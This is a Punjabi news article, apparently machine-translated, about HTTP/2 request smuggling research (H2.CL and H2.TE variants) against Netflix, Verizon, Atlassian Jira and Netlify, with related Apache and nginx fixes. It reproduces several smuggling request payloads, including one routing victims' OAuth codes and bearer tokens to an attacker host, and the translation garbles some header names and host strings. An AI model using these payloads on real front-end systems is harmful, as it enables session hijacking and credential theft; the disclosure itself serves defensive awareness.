ਫਰੰਟ-ਐਂਡ-ਬੈਕਐਂਡ ਸਿਸਟਮਾਂ 'ਤੇ ਇੱਕ ਨਵਾਂ ਹਮਲਾ ਜੋ ਤੁਹਾਨੂੰ ਬੇਨਤੀਆਂ ਵਿੱਚ ਪਾੜਾ ਪਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ

ਵੈੱਬ ਪ੍ਰਣਾਲੀਆਂ ਜਿਸ ਵਿੱਚ ਫਰੰਟ ਐਂਡ HTTP/2 ਦੁਆਰਾ ਕਨੈਕਸ਼ਨਾਂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਦਾ ਹੈ ਅਤੇ ਉਹਨਾਂ ਨੂੰ HTTP/1.1 ਦੁਆਰਾ ਬੈਕਐਂਡ ਵਿੱਚ ਪ੍ਰਸਾਰਿਤ ਕਰਦਾ ਹੈ, ਨੂੰ "HTTP ਬੇਨਤੀ ਸਮਗਲਿੰਗ" ਹਮਲੇ ਦੇ ਇੱਕ ਨਵੇਂ ਰੂਪ ਦਾ ਸਾਹਮਣਾ ਕੀਤਾ ਗਿਆ ਹੈ, ਜੋ ਵਿਸ਼ੇਸ਼ ਤੌਰ 'ਤੇ ਡਿਜ਼ਾਈਨ ਕੀਤੀਆਂ ਗਾਹਕ ਬੇਨਤੀਆਂ ਨੂੰ ਭੇਜ ਕੇ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਫਰੰਟਐਂਡ ਅਤੇ ਬੈਕਐਂਡ ਦੇ ਵਿਚਕਾਰ ਇੱਕੋ ਪ੍ਰਵਾਹ ਵਿੱਚ ਪ੍ਰੋਸੈਸ ਕੀਤੇ ਗਏ ਦੂਜੇ ਉਪਭੋਗਤਾਵਾਂ ਦੀਆਂ ਬੇਨਤੀਆਂ ਦੀ ਸਮੱਗਰੀ ਵਿੱਚ ਪਾੜਾ। ਹਮਲੇ ਦੀ ਵਰਤੋਂ ਇੱਕ ਜਾਇਜ਼ ਵੈਬਸਾਈਟ ਦੇ ਨਾਲ ਇੱਕ ਸੈਸ਼ਨ ਵਿੱਚ ਖਤਰਨਾਕ JavaScript ਕੋਡ ਨੂੰ ਸੰਮਿਲਿਤ ਕਰਨ, ਪਹੁੰਚ ਪਾਬੰਦੀ ਪ੍ਰਣਾਲੀਆਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਅਤੇ ਪ੍ਰਮਾਣੀਕਰਨ ਮਾਪਦੰਡਾਂ ਨੂੰ ਰੋਕਣ ਲਈ ਵਰਤਿਆ ਜਾ ਸਕਦਾ ਹੈ।

ਸਮੱਸਿਆ ਵੈੱਬ ਪ੍ਰੌਕਸੀਜ਼, ਲੋਡ ਬੈਲੈਂਸਰ, ਵੈਬ ਐਕਸੀਲੇਟਰ, ਸਮੱਗਰੀ ਡਿਲੀਵਰੀ ਸਿਸਟਮ ਅਤੇ ਹੋਰ ਸੰਰਚਨਾਵਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦੀ ਹੈ ਜਿਸ ਵਿੱਚ ਬੇਨਤੀਆਂ ਨੂੰ ਫਰੰਟ-ਐਂਡ-ਟੂ-ਬੈਕਐਂਡ ਤਰੀਕੇ ਨਾਲ ਰੀਡਾਇਰੈਕਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਅਧਿਐਨ ਦੇ ਲੇਖਕ ਨੇ Netflix, Verizon, Bitbucket, Netlify CDN ਅਤੇ Atlassian ਦੀਆਂ ਪ੍ਰਣਾਲੀਆਂ 'ਤੇ ਹਮਲਾ ਕਰਨ ਦੀ ਸੰਭਾਵਨਾ ਦਾ ਪ੍ਰਦਰਸ਼ਨ ਕੀਤਾ, ਅਤੇ ਕਮਜ਼ੋਰੀਆਂ ਦੀ ਪਛਾਣ ਕਰਨ ਲਈ ਇਨਾਮ ਪ੍ਰੋਗਰਾਮਾਂ ਵਿੱਚ 56 ਹਜ਼ਾਰ ਡਾਲਰ ਪ੍ਰਾਪਤ ਕੀਤੇ। F5 ਨੈੱਟਵਰਕ ਉਤਪਾਦਾਂ ਵਿੱਚ ਵੀ ਸਮੱਸਿਆ ਦੀ ਪੁਸ਼ਟੀ ਕੀਤੀ ਗਈ ਹੈ। ਸਮੱਸਿਆ ਅੰਸ਼ਿਕ ਤੌਰ 'ਤੇ ਅਪਾਚੇ HTTP ਸਰਵਰ (CVE-2021-33193) ਵਿੱਚ mod_proxy ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦੀ ਹੈ, ਸੰਸਕਰਣ 2.4.49 ਵਿੱਚ ਇੱਕ ਫਿਕਸ ਦੀ ਉਮੀਦ ਕੀਤੀ ਜਾਂਦੀ ਹੈ (ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਮਈ ਦੇ ਸ਼ੁਰੂ ਵਿੱਚ ਸਮੱਸਿਆ ਬਾਰੇ ਸੂਚਿਤ ਕੀਤਾ ਗਿਆ ਸੀ ਅਤੇ ਇਸਨੂੰ ਠੀਕ ਕਰਨ ਲਈ 3 ਮਹੀਨੇ ਦਿੱਤੇ ਗਏ ਸਨ)। nginx ਵਿੱਚ, "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਅਤੇ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ" ਸਿਰਲੇਖਾਂ ਨੂੰ ਇੱਕੋ ਸਮੇਂ ਨਿਰਧਾਰਤ ਕਰਨ ਦੀ ਯੋਗਤਾ ਨੂੰ ਆਖਰੀ ਰੀਲੀਜ਼ (1.21.1) ਵਿੱਚ ਬਲੌਕ ਕੀਤਾ ਗਿਆ ਸੀ। ਅਟੈਕ ਟੂਲ ਪਹਿਲਾਂ ਹੀ ਬਰਪ ਟੂਲਕਿੱਟ ਵਿੱਚ ਸ਼ਾਮਲ ਹਨ ਅਤੇ ਟਰਬੋ ਇਨਟਰੂਡਰ ਐਕਸਟੈਂਸ਼ਨ ਦੇ ਰੂਪ ਵਿੱਚ ਉਪਲਬਧ ਹਨ।

ਟ੍ਰੈਫਿਕ ਵਿੱਚ ਬੇਨਤੀਆਂ ਨੂੰ ਜੋੜਨ ਦੇ ਨਵੇਂ ਢੰਗ ਦੇ ਸੰਚਾਲਨ ਦਾ ਸਿਧਾਂਤ ਦੋ ਸਾਲ ਪਹਿਲਾਂ ਉਸੇ ਖੋਜਕਰਤਾ ਦੁਆਰਾ ਪਛਾਣੀ ਗਈ ਕਮਜ਼ੋਰੀ ਦੇ ਸਮਾਨ ਹੈ, ਪਰ HTTP/1.1 ਉੱਤੇ ਬੇਨਤੀਆਂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਨ ਵਾਲੇ ਫਰੰਟਐਂਡ ਤੱਕ ਸੀਮਿਤ ਹੈ। ਸਾਨੂੰ ਯਾਦ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ ਕਿ ਫਰੰਟਐਂਡ-ਬੈਕਐਂਡ ਸਕੀਮ ਵਿੱਚ, ਕਲਾਇੰਟ ਦੀਆਂ ਬੇਨਤੀਆਂ ਇੱਕ ਵਾਧੂ ਨੋਡ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ - ਫਰੰਟਐਂਡ, ਜੋ ਬੈਕਐਂਡ ਦੇ ਨਾਲ ਇੱਕ ਲੰਬੇ ਸਮੇਂ ਲਈ ਟੀਸੀਪੀ ਕਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕਰਦਾ ਹੈ, ਜੋ ਸਿੱਧੇ ਤੌਰ 'ਤੇ ਬੇਨਤੀਆਂ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਦਾ ਹੈ। ਇਸ ਸਾਂਝੇ ਕੁਨੈਕਸ਼ਨ ਦੁਆਰਾ, ਵੱਖ-ਵੱਖ ਉਪਭੋਗਤਾਵਾਂ ਦੀਆਂ ਬੇਨਤੀਆਂ ਆਮ ਤੌਰ 'ਤੇ ਪ੍ਰਸਾਰਿਤ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ, ਜੋ ਕਿ HTTP ਪ੍ਰੋਟੋਕੋਲ ਦੁਆਰਾ ਵੱਖ ਕੀਤੇ ਗਏ ਇੱਕ ਤੋਂ ਬਾਅਦ ਇੱਕ ਲੜੀ ਦੀ ਪਾਲਣਾ ਕਰਦੇ ਹਨ।

ਕਲਾਸਿਕ "HTTP ਬੇਨਤੀ ਤਸਕਰੀ" ਹਮਲਾ ਇਸ ਤੱਥ 'ਤੇ ਅਧਾਰਤ ਸੀ ਕਿ ਫਰੰਟਐਂਡ ਅਤੇ ਬੈਕਐਂਡ HTTP ਸਿਰਲੇਖਾਂ ਦੀ ਵਰਤੋਂ ਦੀ ਵਿਆਖਿਆ ਕਰਦੇ ਹਨ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" (ਬੇਨਤੀ ਵਿੱਚ ਡੇਟਾ ਦਾ ਕੁੱਲ ਆਕਾਰ ਨਿਰਧਾਰਤ ਕਰਦਾ ਹੈ) ਅਤੇ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਚੰਕਡ" (ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ ਭਾਗਾਂ ਵਿੱਚ ਟ੍ਰਾਂਸਫਰ ਕੀਤੇ ਜਾਣ ਵਾਲੇ ਡੇਟਾ) ਵੱਖਰੇ ਤੌਰ 'ਤੇ. . ਉਦਾਹਰਨ ਲਈ, ਜੇਕਰ ਫਰੰਟਐਂਡ ਸਿਰਫ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ ਪਰ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਚੰਕਡ" ਨੂੰ ਅਣਡਿੱਠ ਕਰਦਾ ਹੈ, ਤਾਂ ਇੱਕ ਹਮਲਾਵਰ ਇੱਕ ਬੇਨਤੀ ਭੇਜ ਸਕਦਾ ਹੈ ਜਿਸ ਵਿੱਚ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਅਤੇ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਖੰਡ" ਸਿਰਲੇਖ ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ, ਪਰ ਆਕਾਰ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਹੈ, ਜੋ ਕਿ ਕੱਟੀ ਹੋਈ ਚੇਨ ਦੇ ਆਕਾਰ ਨਾਲ ਮੇਲ ਨਹੀਂ ਖਾਂਦਾ ਹੈ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਫਰੰਟਐਂਡ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਦੇ ਅਨੁਸਾਰ ਬੇਨਤੀ ਨੂੰ ਪ੍ਰੋਸੈਸ ਕਰੇਗਾ ਅਤੇ ਰੀਡਾਇਰੈਕਟ ਕਰੇਗਾ, ਅਤੇ ਬੈਕਐਂਡ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਚੰਕਡ" ਦੇ ਅਧਾਰ ਤੇ ਬਲਾਕ ਦੇ ਪੂਰਾ ਹੋਣ ਦੀ ਉਡੀਕ ਕਰੇਗਾ ਅਤੇ ਹਮਲਾਵਰ ਦੀ ਬੇਨਤੀ ਦੀ ਬਾਕੀ ਪੂਛ ਕਰੇਗਾ। ਅੱਗੇ ਪ੍ਰਸਾਰਿਤ ਕਿਸੇ ਹੋਰ ਦੀ ਬੇਨਤੀ ਦੀ ਸ਼ੁਰੂਆਤ 'ਤੇ ਰਹੋ.

ਟੈਕਸਟ ਪ੍ਰੋਟੋਕੋਲ HTTP/1.1 ਦੇ ਉਲਟ, ਜੋ ਕਿ ਲਾਈਨ ਪੱਧਰ 'ਤੇ ਪਾਰਸ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, HTTP/2 ਇੱਕ ਬਾਈਨਰੀ ਪ੍ਰੋਟੋਕੋਲ ਹੈ ਅਤੇ ਇੱਕ ਪੂਰਵ-ਨਿਰਧਾਰਤ ਆਕਾਰ ਦੇ ਡੇਟਾ ਬਲਾਕਾਂ ਨੂੰ ਹੇਰਾਫੇਰੀ ਕਰਦਾ ਹੈ। ਹਾਲਾਂਕਿ, HTTP/2 ਸੂਡੋ-ਸਿਰਲੇਖ ਵਰਤਦਾ ਹੈ ਜੋ ਨਿਯਮਤ HTTP ਸਿਰਲੇਖਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ। HTTP/1.1 ਪ੍ਰੋਟੋਕੋਲ ਦੁਆਰਾ ਬੈਕਐਂਡ ਨਾਲ ਪਰਸਪਰ ਪ੍ਰਭਾਵ ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਫਰੰਟਐਂਡ ਇਹਨਾਂ ਸੂਡੋ-ਸਿਰਲੇਖਾਂ ਨੂੰ HTTP/1.1 ਦੇ ਸਮਾਨ HTTP ਸਿਰਲੇਖਾਂ ਵਿੱਚ ਅਨੁਵਾਦ ਕਰਦਾ ਹੈ। ਸਮੱਸਿਆ ਇਹ ਹੈ ਕਿ ਬੈਕਐਂਡ ਅਸਲ ਬੇਨਤੀ ਦੇ ਪੈਰਾਮੀਟਰਾਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਦੇ ਬਿਨਾਂ, ਫਰੰਟਐਂਡ ਦੁਆਰਾ ਸੈੱਟ ਕੀਤੇ HTTP ਸਿਰਲੇਖਾਂ ਦੇ ਅਧਾਰ ਤੇ ਸਟ੍ਰੀਮ ਨੂੰ ਪਾਰਸ ਕਰਨ ਬਾਰੇ ਫੈਸਲੇ ਲੈਂਦਾ ਹੈ।

ਖਾਸ ਤੌਰ 'ਤੇ, ਮੁੱਲ "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਅਤੇ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ" ਨੂੰ ਸੂਡੋ-ਸਿਰਲੇਖਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਪ੍ਰਸਾਰਿਤ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ, ਇਸ ਤੱਥ ਦੇ ਬਾਵਜੂਦ ਕਿ ਉਹ HTTP/2 ਵਿੱਚ ਨਹੀਂ ਵਰਤੇ ਜਾਂਦੇ ਹਨ, ਕਿਉਂਕਿ ਸਾਰੇ ਡੇਟਾ ਦਾ ਆਕਾਰ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਇੱਕ ਵੱਖਰੇ ਖੇਤਰ ਵਿੱਚ. ਹਾਲਾਂਕਿ, ਇੱਕ HTTP/2 ਬੇਨਤੀ ਨੂੰ HTTP/1.1 ਵਿੱਚ ਤਬਦੀਲ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੇ ਦੌਰਾਨ, ਇਹ ਸਿਰਲੇਖਾਂ ਨੂੰ ਸੰਭਾਲਿਆ ਜਾਂਦਾ ਹੈ ਅਤੇ ਬੈਕਐਂਡ ਨੂੰ ਉਲਝਾ ਸਕਦਾ ਹੈ। ਹਮਲੇ ਦੇ ਦੋ ਮੁੱਖ ਰੂਪ ਹਨ: H2.TE ਅਤੇ H2.CL, ਜਿਸ ਵਿੱਚ ਬੈਕਐਂਡ ਨੂੰ ਇੱਕ ਗਲਤ ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ ਜਾਂ ਸਮੱਗਰੀ-ਲੰਬਾਈ ਮੁੱਲ ਦੁਆਰਾ ਗੁੰਮਰਾਹ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ ਕਿ ਫਰੰਟਐਂਡ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਕੀਤੀ ਬੇਨਤੀ ਬਾਡੀ ਦੇ ਅਸਲ ਆਕਾਰ ਨਾਲ ਮੇਲ ਨਹੀਂ ਖਾਂਦਾ ਹੈ। HTTP/2 ਪ੍ਰੋਟੋਕੋਲ।

H2.CL ਹਮਲੇ ਦੀ ਇੱਕ ਉਦਾਹਰਨ Netflix ਨੂੰ HTTP/2 ਬੇਨਤੀ ਭੇਜਣ ਵੇਲੇ ਸਮੱਗਰੀ-ਲੰਬਾਈ ਸੂਡੋ-ਸਿਰਲੇਖ ਵਿੱਚ ਇੱਕ ਗਲਤ ਆਕਾਰ ਨੂੰ ਦਰਸਾਉਣਾ ਹੈ। ਇਹ ਬੇਨਤੀ HTTP/1.1 ਦੁਆਰਾ ਬੈਕਐਂਡ ਨੂੰ ਐਕਸੈਸ ਕਰਨ ਵੇਲੇ ਇੱਕ ਸਮਾਨ HTTP ਸਿਰਲੇਖ ਸਮੱਗਰੀ-ਲੰਬਾਈ ਨੂੰ ਜੋੜਨ ਵੱਲ ਲੈ ਜਾਂਦੀ ਹੈ, ਪਰ ਕਿਉਂਕਿ ਸਮੱਗਰੀ-ਲੰਬਾਈ ਵਿੱਚ ਆਕਾਰ ਅਸਲ ਇੱਕ ਨਾਲੋਂ ਘੱਟ ਨਿਰਧਾਰਤ ਕੀਤਾ ਗਿਆ ਹੈ, ਟੇਲ ਵਿੱਚ ਡੇਟਾ ਦੇ ਹਿੱਸੇ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਅਗਲੀ ਬੇਨਤੀ ਦੀ ਸ਼ੁਰੂਆਤ।

ਉਦਾਹਰਨ ਲਈ, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 ਹੋਸਟ: 02.rs?x.netflix.com Foo: bar ਦੀ ਬੇਨਤੀ ਕਰੋ

ਨਤੀਜੇ ਵਜੋਂ ਬੈਕਐਂਡ ਨੂੰ ਬੇਨਤੀ ਭੇਜੀ ਜਾਵੇਗੀ: POST /n HTTP/1.1 ਹੋਸਟ: www.netflix.com ਸਮੱਗਰੀ-ਲੰਬਾਈ: 4 abcdGET /n HTTP/1.1 ਹੋਸਟ: 02.rs?x.netflix.com Foo: bar

ਕਿਉਂਕਿ ਸਮਗਰੀ-ਲੰਬਾਈ ਦਾ ਮੁੱਲ 4 ਹੈ, ਬੈਕਐਂਡ ਸਿਰਫ "abcd" ਨੂੰ ਬੇਨਤੀ ਦੇ ਮੁੱਖ ਭਾਗ ਵਜੋਂ ਸਵੀਕਾਰ ਕਰੇਗਾ, ਅਤੇ ਬਾਕੀ "GET /n HTTP/1.1..." ਨੂੰ ਅਗਲੀ ਬੇਨਤੀ ਦੀ ਸ਼ੁਰੂਆਤ ਵਜੋਂ ਪ੍ਰਕਿਰਿਆ ਕੀਤਾ ਜਾਵੇਗਾ। ਕਿਸੇ ਹੋਰ ਉਪਭੋਗਤਾ ਨਾਲ ਸਬੰਧਿਤ. ਇਸ ਅਨੁਸਾਰ, ਸਟ੍ਰੀਮ ਡੀਸਿੰਕ੍ਰੋਨਾਈਜ਼ਡ ਹੋ ਜਾਵੇਗੀ ਅਤੇ ਅਗਲੀ ਬੇਨਤੀ ਦੇ ਜਵਾਬ ਵਿੱਚ, ਡਮੀ ਬੇਨਤੀ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦਾ ਨਤੀਜਾ ਜਾਰੀ ਕੀਤਾ ਜਾਵੇਗਾ। Netflix ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਇੱਕ ਡਮੀ ਬੇਨਤੀ ਵਿੱਚ "ਹੋਸਟ:" ਸਿਰਲੇਖ ਵਿੱਚ ਇੱਕ ਤੀਜੀ-ਧਿਰ ਹੋਸਟ ਨੂੰ ਨਿਸ਼ਚਿਤ ਕਰਨ ਦੇ ਨਤੀਜੇ ਵਜੋਂ ਕਲਾਇੰਟ "ਸਥਾਨ: https://02.rs?x.netflix.com/n" ਜਵਾਬ ਵਾਪਸ ਕਰ ਦਿੰਦਾ ਹੈ ਅਤੇ ਨੈੱਟਫਲਿਕਸ ਸਾਈਟ ਦੇ ਸੰਦਰਭ ਵਿੱਚ ਆਪਣਾ JavaScript ਕੋਡ ਚਲਾਉਣ ਸਮੇਤ, ਕਲਾਇੰਟ ਨੂੰ ਮਨਮਾਨੀ ਸਮੱਗਰੀ ਭੇਜਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੱਤੀ।

ਦੂਜਾ ਹਮਲਾ ਵਿਕਲਪ (H2.TE) ਵਿੱਚ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਚੰਕਡ" ਸਿਰਲੇਖ ਨੂੰ ਬਦਲਣਾ ਸ਼ਾਮਲ ਹੈ। HTTP/2 ਵਿੱਚ ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ ਸੂਡੋ-ਸਿਰਲੇਖ ਦੀ ਵਰਤੋਂ ਨਿਰਧਾਰਨ ਦੁਆਰਾ ਵਰਜਿਤ ਹੈ ਅਤੇ ਇਸਦੇ ਨਾਲ ਬੇਨਤੀਆਂ ਨੂੰ ਗਲਤ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ। ਇਸਦੇ ਬਾਵਜੂਦ, ਕੁਝ ਫਰੰਟਐਂਡ ਸਥਾਪਨ ਇਸ ਲੋੜ ਨੂੰ ਧਿਆਨ ਵਿੱਚ ਨਹੀਂ ਰੱਖਦੇ ਅਤੇ HTTP/2 ਵਿੱਚ ਇੱਕ ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ ਸੂਡੋ-ਸਿਰਲੇਖ ਦੀ ਵਰਤੋਂ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ, ਜੋ ਕਿ ਇੱਕ ਸਮਾਨ HTTP ਸਿਰਲੇਖ ਵਿੱਚ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਕੋਈ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ" ਸਿਰਲੇਖ ਹੈ, ਤਾਂ ਬੈਕਐਂਡ ਇਸਨੂੰ ਉੱਚ ਤਰਜੀਹ ਦੇ ਤੌਰ 'ਤੇ ਲੈ ਸਕਦਾ ਹੈ ਅਤੇ "{ਸਾਈਜ਼}\r\n{ਬਲਾਕ" ਫਾਰਮੈਟ ਵਿੱਚ ਵੱਖ-ਵੱਖ ਆਕਾਰਾਂ ਦੇ ਬਲਾਕਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ "ਚੰਕਡ" ਮੋਡ ਵਿੱਚ ਡਾਟਾ ਟੁਕੜੇ ਨੂੰ ਪਾਰਸ ਕਰ ਸਕਦਾ ਹੈ। }\r\n{size} \r\n{block}\r\n0", ਸਮੁੱਚੇ ਆਕਾਰ ਦੁਆਰਾ ਸ਼ੁਰੂਆਤੀ ਵੰਡ ਦੇ ਬਾਵਜੂਦ।

ਅਜਿਹੇ ਪਾੜੇ ਦੀ ਮੌਜੂਦਗੀ ਵੇਰੀਜੋਨ ਦੀ ਉਦਾਹਰਣ ਦੁਆਰਾ ਪ੍ਰਦਰਸ਼ਿਤ ਕੀਤੀ ਗਈ ਸੀ. ਸਮੱਸਿਆ ਪ੍ਰਮਾਣਿਕਤਾ ਪੋਰਟਲ ਅਤੇ ਸਮਗਰੀ ਪ੍ਰਬੰਧਨ ਪ੍ਰਣਾਲੀ ਨਾਲ ਸਬੰਧਤ ਹੈ, ਜੋ ਕਿ ਹਫਿੰਗਟਨ ਪੋਸਟ ਅਤੇ ਐਨਗੈਜੇਟ ਵਰਗੀਆਂ ਸਾਈਟਾਂ 'ਤੇ ਵੀ ਵਰਤੀ ਜਾਂਦੀ ਹੈ। ਉਦਾਹਰਨ ਲਈ, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ਦੁਆਰਾ ਇੱਕ ਕਲਾਇੰਟ ਬੇਨਤੀ ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ 0 GET /oops HTTP/1.1 ਹੋਸਟ: psres.net ਸਮੱਗਰੀ-ਲੰਬਾਈ: 10 x=

ਬੈਕਐਂਡ ਨੂੰ HTTP/1.1 ਬੇਨਤੀ ਭੇਜਣ ਦੇ ਨਤੀਜੇ ਵਜੋਂ: POST /identity/XUI HTTP/1.1 ਹੋਸਟ: id.b2b.oath.com ਸਮੱਗਰੀ-ਲੰਬਾਈ: 66 ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਖੰਡ 0 GET /oops HTTP/1.1 ਹੋਸਟ: psres. ਸ਼ੁੱਧ ਸਮੱਗਰੀ- ਲੰਬਾਈ: 10x=

ਬੈਕਐਂਡ, ਬਦਲੇ ਵਿੱਚ, "ਸਮੱਗਰੀ-ਲੰਬਾਈ" ਸਿਰਲੇਖ ਨੂੰ ਨਜ਼ਰਅੰਦਾਜ਼ ਕਰ ਦਿੱਤਾ ਅਤੇ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: ਚੰਕਡ" ਦੇ ਅਧਾਰ ਤੇ ਇਨ-ਸਟ੍ਰੀਮ ਸਪਲਿਟਿੰਗ ਕੀਤੀ। ਅਭਿਆਸ ਵਿੱਚ, ਹਮਲੇ ਨੇ ਉਪਭੋਗਤਾ ਬੇਨਤੀਆਂ ਨੂੰ ਉਹਨਾਂ ਦੀ ਵੈਬਸਾਈਟ 'ਤੇ ਰੀਡਾਇਰੈਕਟ ਕਰਨਾ ਸੰਭਵ ਬਣਾਇਆ, ਜਿਸ ਵਿੱਚ OAuth ਪ੍ਰਮਾਣਿਕਤਾ ਨਾਲ ਸਬੰਧਤ ਬੇਨਤੀਆਂ ਨੂੰ ਰੋਕਿਆ ਗਿਆ, ਜਿਸ ਦੇ ਮਾਪਦੰਡ ਰੈਫਰਰ ਸਿਰਲੇਖ ਵਿੱਚ ਪ੍ਰਦਰਸ਼ਿਤ ਕੀਤੇ ਗਏ ਸਨ, ਨਾਲ ਹੀ ਪ੍ਰਮਾਣਿਕਤਾ ਸੈਸ਼ਨ ਦੀ ਨਕਲ ਕਰਨਾ ਅਤੇ ਪ੍ਰਮਾਣ ਪੱਤਰ ਭੇਜਣ ਲਈ ਉਪਭੋਗਤਾ ਦੇ ਸਿਸਟਮ ਨੂੰ ਚਾਲੂ ਕਰਨਾ। ਹਮਲਾਵਰ ਦੇ ਮੇਜ਼ਬਾਨ ਨੂੰ। GET /b2blanding/show/oops HTTP/1.1 ਹੋਸਟ: psres.net ਰੈਫਰਰ: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 ਹੋਸਟ: psres.net ਅਧਿਕਾਰ: ਬੇਅਰਰ eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

HTTP/2 ਲਾਗੂਕਰਨਾਂ 'ਤੇ ਹਮਲਾ ਕਰਨ ਲਈ ਜੋ ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ ਸੂਡੋ-ਸਿਰਲੇਖ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਨਹੀਂ ਦਿੰਦੇ ਹਨ, ਇੱਕ ਹੋਰ ਤਰੀਕਾ ਪ੍ਰਸਤਾਵਿਤ ਕੀਤਾ ਗਿਆ ਹੈ ਜਿਸ ਵਿੱਚ "ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ" ਸਿਰਲੇਖ ਨੂੰ ਇੱਕ ਨਵੀਂ ਲਾਈਨ ਅੱਖਰ ਦੁਆਰਾ ਵੱਖ ਕੀਤੇ ਹੋਰ ਸੂਡੋ-ਸਿਰਲੇਖਾਂ ਨਾਲ ਜੋੜ ਕੇ ਬਦਲਣਾ ਸ਼ਾਮਲ ਹੈ ( ਜਦੋਂ ਇਸ ਕੇਸ ਵਿੱਚ HTTP/1.1 ਵਿੱਚ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ ਤਾਂ ਦੋ ਵੱਖਰੇ HTTP ਸਿਰਲੇਖ ਬਣਾਉਂਦੇ ਹਨ)।

ਉਦਾਹਰਨ ਲਈ, Atlassian Jira ਅਤੇ Netlify CDN (ਫਾਇਰਫਾਕਸ ਵਿੱਚ ਮੋਜ਼ੀਲਾ ਸਟਾਰਟ ਪੇਜ ਦੀ ਸੇਵਾ ਕਰਨ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ) ਇਸ ਸਮੱਸਿਆ ਤੋਂ ਪ੍ਰਭਾਵਿਤ ਹੋਏ ਸਨ। ਖਾਸ ਤੌਰ 'ਤੇ, HTTP/2 ਬੇਨਤੀ :method POST :path / :authority start.mozilla.org foo b\r\n ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: 0\r\n \r\n GET / HTTP/1.1\r\n ਹੋਸਟ : evil-netlify-domain\r\n ਸਮੱਗਰੀ-ਲੰਬਾਈ: 5\r\n \r\n x=

ਨਤੀਜੇ ਵਜੋਂ HTTP/1.1 POST/HTTP/1.1 ਬੇਨਤੀ ਬੈਕਐਂਡ ਨੂੰ ਭੇਜੀ ਜਾ ਰਹੀ ਹੈ\r\n ਹੋਸਟ: start.mozilla.org\r\n Foo: b\r\n ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: chunked\r\n ਸਮੱਗਰੀ-ਲੰਬਾਈ : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ਹੋਸਟ: evil-netlify-domain\r\n ਸਮੱਗਰੀ-ਲੰਬਾਈ: 5\r\n \r \n x=

